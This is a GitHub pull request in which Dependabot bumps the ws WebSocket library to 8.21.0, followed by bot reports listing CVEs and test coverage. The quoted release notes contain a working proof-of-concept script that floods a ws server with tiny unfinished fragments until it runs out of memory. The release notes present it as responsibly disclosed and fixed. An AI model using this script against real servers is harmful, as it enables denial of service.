Skip to content

chore(deps): bump ws from 8.20.1 to 8.21.0 in /application#1425

Open
dependabot[bot] wants to merge 1 commit into
mainfrom
dependabot/npm_and_yarn/application/ws-8.21.0
Open

chore(deps): bump ws from 8.20.1 to 8.21.0 in /application#1425
dependabot[bot] wants to merge 1 commit into
mainfrom
dependabot/npm_and_yarn/application/ws-8.21.0

Conversation

@dependabot

@dependabot dependabot Bot commented on behalf of github Jun 24, 2026

Copy link
Copy Markdown
Contributor

Bumps ws from 8.20.1 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Commits

Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

  • @dependabot rebase will rebase this PR
  • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
  • @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
  • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    You can disable automated security fix PRs for this repo from the Security Alerts page.

Bumps [ws](https://github.com/websockets/ws) from 8.20.1 to 8.21.0.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.20.1...8.21.0)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.21.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot added dependencies Pull requests that update a dependency file javascript Pull requests that update Javascript code labels Jun 24, 2026
@github-actions

Copy link
Copy Markdown

Hi, thank you for creating your PR, we will check it out very soon

@github-actions

Copy link
Copy Markdown

Super-linter summary

Language Validation result
BIOME_FORMAT Pass ✅
BIOME_LINT Pass ✅
CHECKOV Pass ✅
GITLEAKS Pass ✅
GIT_MERGE_CONFLICT_MARKERS Pass ✅
JSCPD Pass ✅
PRE_COMMIT Pass ✅
SPELL_CODESPELL Pass ✅
TRIVY Fail ❌

Super-linter detected linting errors

For more information, see the GitHub Actions workflow run

Powered by Super-linter

TRIVY

Report Summary

┌──────────────────────────────────────────────────────┬────────────┬─────────────────┬───────────────────┬─────────┐
│                        Target                        │    Type    │ Vulnerabilities │ Misconfigurations │ Secrets │
├──────────────────────────────────────────────────────┼────────────┼─────────────────┼───────────────────┼─────────┤
│ .github/actions/generate-blog-post/package-lock.json │    npm     │        0        │         -         │    -    │
├──────────────────────────────────────────────────────┼────────────┼─────────────────┼───────────────────┼─────────┤
│ .github/actions/share-blog-post/package-lock.json    │    npm     │        2        │         -         │    -    │
├──────────────────────────────────────────────────────┼────────────┼─────────────────┼───────────────────┼─────────┤
│ .github/actions/validate-manifest/package-lock.json  │    npm     │        0        │         -         │    -    │
├──────────────────────────────────────────────────────┼────────────┼─────────────────┼───────────────────┼─────────┤
│ application/package-lock.json                        │    npm     │       10        │         -         │    -    │
├──────────────────────────────────────────────────────┼────────────┼─────────────────┼───────────────────┼─────────┤
│ Dockerfile                                           │ dockerfile │        -        │         0         │    -    │
└──────────────────────────────────────────────────────┴────────────┴─────────────────┴───────────────────┴─────────┘
Legend:
- '-': Not scanned
- '0': Clean (no security findings detected)


For OSS Maintainers: VEX Notice
--------------------------------
If you're an OSS maintainer and Trivy has detected vulnerabilities in your project that you believe are not actually exploitable, consider issuing a VEX (Vulnerability Exploitability eXchange) statement.
VEX allows you to communicate the actual status of vulnerabilities in your project, improving security transparency and reducing false positives for your users.
Learn more and start using VEX: https://trivy.dev/docs/v0.69/guide/supply-chain/vex/repo#publishing-vex-documents

To disable this notice, set the TRIVY_DISABLE_VEX_NOTICE environment variable.


.github/actions/share-blog-post/package-lock.json (npm)
=======================================================
Total: 2 (UNKNOWN: 0, LOW: 0, MEDIUM: 2, HIGH: 0, CRITICAL: 0)

┌─────────┬────────────────┬──────────┬────────┬───────────────────┬───────────────┬─────────────────────────────────────────────────────────────┐
│ Library │ Vulnerability  │ Severity │ Status │ Installed Version │ Fixed Version │                            Title                            │
├─────────┼────────────────┼──────────┼────────┼───────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ js-yaml │ CVE-2026-53550 │ MEDIUM   │ fixed  │ 3.14.2            │ 4.2.0         │ JS-YAML: Quadratic-complexity DoS in merge key handling via │
│         │                │          │        │                   │               │ repeated aliases                                            │
│         │                │          │        │                   │               │ https://avd.aquasec.com/nvd/cve-2026-53550                  │
│         │                │          │        ├───────────────────┤               │                                                             │
│         │                │          │        │ 4.1.1             │               │                                                             │
│         │                │          │        │                   │               │                                                             │
│         │                │          │        │                   │               │                                                             │
└─────────┴────────────────┴──────────┴────────┴───────────────────┴───────────────┴─────────────────────────────────────────────────────────────┘

application/package-lock.json (npm)
===================================
Total: 10 (UNKNOWN: 0, LOW: 3, MEDIUM: 4, HIGH: 3, CRITICAL: 0)

┌─────────────┬────────────────┬──────────┬────────┬───────────────────┬───────────────────────┬─────────────────────────────────────────────────────────────┐
│   Library   │ Vulnerability  │ Severity │ Status │ Installed Version │     Fixed Version     │                            Title                            │
├─────────────┼────────────────┼──────────┼────────┼───────────────────┼───────────────────────┼─────────────────────────────────────────────────────────────┤
│ @babel/core │ CVE-2026-49356 │ LOW      │ fixed  │ 7.29.0            │ 8.0.0-rc.6, 7.29.6    │ @babel/core: Arbitrary File Read via sourceMappingURL       │
│             │                │          │        │                   │                       │ Comment                                                     │
│             │                │          │        │                   │                       │ https://avd.aquasec.com/nvd/cve-2026-49356                  │
├─────────────┼────────────────┼──────────┤        ├───────────────────┼───────────────────────┼─────────────────────────────────────────────────────────────┤
│ js-yaml     │ CVE-2026-53550 │ MEDIUM   │        │ 4.1.1             │ 4.2.0                 │ JS-YAML: Quadratic-complexity DoS in merge key handling via │
│             │                │          │        │                   │                       │ repeated aliases                                            │
│             │                │          │        │                   │                       │ https://avd.aquasec.com/nvd/cve-2026-53550                  │
├─────────────┼────────────────┤          │        ├───────────────────┼───────────────────────┼─────────────────────────────────────────────────────────────┤
│ tar         │ CVE-2026-53655 │          │        │ 7.5.14            │ 7.5.16                │ node-tar is a full-featured Tar for Node.js. Prior to       │
│             │                │          │        │                   │                       │ 7.5.16, tar (nod...                                         │
│             │                │          │        │                   │                       │ https://avd.aquasec.com/nvd/cve-2026-53655                  │
├─────────────┼────────────────┼──────────┤        ├───────────────────┼───────────────────────┼─────────────────────────────────────────────────────────────┤
│ undici      │ CVE-2026-12151 │ HIGH     │        │ 7.25.0            │ 6.27.0, 7.28.0, 8.5.0 │ undici: undici: Denial of Service due to unbounded memory   │
│             │                │          │        │                   │                       │ growth via WebSocket...                                     │
│             │                │          │        │                   │                       │ https://avd.aquasec.com/nvd/cve-2026-12151                  │
│             ├────────────────┤          │        │                   ├───────────────────────┼─────────────────────────────────────────────────────────────┤
│             │ CVE-2026-6734  │          │        │                   │ 7.28.0, 8.2.0         │ undici: undici: Information disclosure and data integrity   │
│             │                │          │        │                   │                       │ issues due to incorrect Socks5ProxyAgent...                 │
│             │                │          │        │                   │                       │ https://avd.aquasec.com/nvd/cve-2026-6734                   │
│             ├────────────────┤          │        │                   ├───────────────────────┼─────────────────────────────────────────────────────────────┤
│             │ CVE-2026-9697  │          │        │                   │ 7.28.0, 8.5.0         │ undici: undici: Man-in-the-Middle attack via ignored TLS    │
│             │                │          │        │                   │                       │ options with SOCKS5 proxy                                   │
│             │                │          │        │                   │                       │ https://avd.aquasec.com/nvd/cve-2026-9697                   │
│             ├────────────────┼──────────┤        │                   │                       ├─────────────────────────────────────────────────────────────┤
│             │ CVE-2026-9678  │ MEDIUM   │        │                   │                       │ undici: Undici: Information disclosure due to improper      │
│             │                │          │        │                   │                       │ cache-control header parsing                                │
│             │                │          │        │                   │                       │ https://avd.aquasec.com/nvd/cve-2026-9678                   │
│             ├────────────────┤          │        │                   ├───────────────────────┼─────────────────────────────────────────────────────────────┤
│             │ CVE-2026-9679  │          │        │                   │ 6.27.0, 7.28.0, 8.5.0 │ undici: undici vulnerable to HTTP header injection via      │
│             │                │          │        │                   │                       │ Set-Cookie percent-decoding                                 │
│             │                │          │        │                   │                       │ https://avd.aquasec.com/nvd/cve-2026-9679                   │
│             ├────────────────┼──────────┤        │                   │                       ├─────────────────────────────────────────────────────────────┤
│             │ CVE-2026-11525 │ LOW      │        │                   │                       │ undici: undici: Weakening of cookie SameSite policy due to  │
│             │                │          │        │                   │                       │ incorrect parsing of...                                     │
│             │                │          │        │                   │                       │ https://avd.aquasec.com/nvd/cve-2026-11525                  │
│             ├────────────────┤          │        │                   │                       ├─────────────────────────────────────────────────────────────┤
│             │ CVE-2026-6733  │          │        │                   │                       │ undici: Undici: Response queue poisoning on reused          │
│             │                │          │        │                   │                       │ keep-alive sockets can lead to...                           │
│             │                │          │        │                   │                       │ https://avd.aquasec.com/nvd/cve-2026-6733                   │
└─────────────┴────────────────┴──────────┴────────┴───────────────────┴───────────────────────┴─────────────────────────────────────────────────────────────┘

@github-actions

Copy link
Copy Markdown

Code Coverage Report

Coverage Results

Test Results

Status Count
✅ Passed 27
❌ Failed 0
⏭️ Skipped 0
Total 27

Pass Rate: 100.0%

Coverage

Metric Covered Total Percentage
Lines 100 108 92.59%
Branches 95 105 90.48%
Functions 22 23 95.65%

Overall: 92.59% 🟢
🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩⬜

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file javascript Pull requests that update Javascript code

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants